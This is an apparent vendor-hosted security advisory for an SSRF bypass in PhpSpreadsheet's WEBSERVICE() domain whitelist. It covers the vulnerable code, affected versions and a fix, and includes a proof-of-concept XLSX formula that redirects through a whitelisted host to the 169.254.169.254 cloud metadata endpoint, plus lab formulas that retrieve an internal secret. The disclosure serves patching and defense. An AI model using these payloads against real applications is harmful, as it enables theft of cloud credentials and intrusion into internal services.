GHSA-6hq5-7373-42rg is a high-severity (CVSS 7.7) Server-Side Request Forgery (SSRF) vulnerability in phpoffice/phpspreadsheet. O3 Security confirms whether GHSA-6hq5-7373-42rg is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6hq5-7373-42rg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-6hq5-7373-42rg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 369,023 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheetReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.
Details
In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.
The stream context does not disable redirect following:
$ctxArray = [
'http' => [
'user_agent' => 'Mozilla/5.0 ...',
// follow_location defaults to true
// max_redirects defaults to 20
],
];
PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.
Vulnerable code (Calculation/Web/Service.php):
// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}
// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);
Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.
PoC
Prerequisites:
- Application uses PhpSpreadsheet >= 5.4.0
- Application calls
$spreadsheet->setDomainWhiteList([...])with at least one domain - Application calls
$cell->getCalculatedValue()on uploaded XLSX files
Attack steps:
-
Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).
-
Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:
<c r="A1">
<f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
- Upload the XLSX to the target application. The calculation engine:
- Validates
whitelisted-domain.comagainst the whitelist — passes - Calls
file_get_contents("http://whitelisted-domain.com/redirect?url=...") file_get_contentsfollows the 302 redirect tohttp://169.254.169.254/latest/meta-data/— no re-validation- Returns the cloud metadata response as the cell's calculated value
- Validates
Lab reproduction:
# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target
# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)
# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}
Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).
Impact
An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:
- Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets
- Exfiltrate cloud metadata (AWS/GCP/Azure instance credentials) via
http://169.254.169.254/ - Access internal services not exposed to the internet
- Port-scan internal networks via any whitelisted hostname (port is not validated)
This is a full-read SSRF — the complete HTTP response body (up to 32,767 bytes) is returned to the attacker as the cell's calculated value.
Attack scenarios:
- Whitelisted domain has an open redirect vulnerability
- Attacker controls the whitelisted domain (e.g., a free-tier API service)
- DNS rebinding after the whitelist check
Suggested Fix
Disable redirect following in the stream context:
$ctxArray = [
'http' => [
'user_agent' => '...',
'follow_location' => false,
'max_redirects' => 0,
],
];
Alternatively, if redirects must be supported, implement manual redirect following that re-validates each hop's hostname against the domain whitelist.
Additionally, consider including the port in the whitelist check to prevent port scanning of whitelisted hosts.
Related
This vulnerability is in the same function as the original WEBSERVICE() SSRF (unrestricted in versions < 5.4.0, no CVE assigned), but is a distinct issue: it bypasses the specific mitigation (domain whitelist) that was introduced in PR #4751 to address the original SSRF.
Existing SSRF CVEs in PhpSpreadsheet (CVE-2024-45290, CVE-2024-45291, CVE-2025-54370) are all in the Drawing/image loading code path, not in the WEBSERVICE calculation engine.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 4.0.0&&< 5.8.1 | 5.8.1 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 3.3.0&&< 3.10.7 | 3.10.7 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.2.0&&< 2.4.7 | 2.4.7 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.0.0&&< 2.1.18 | 2.1.18 |
| 🐘Packagist | phpoffice/phpspreadsheet | all versions | 1.30.6 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phpoffice/phpspreadsheet to 5.8.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6hq5-7373-42rg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-6hq5-7373-42rg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-6hq5-7373-42rg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-6hq5-7373-42rg in your dependencies?
O3 detects GHSA-6hq5-7373-42rg across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.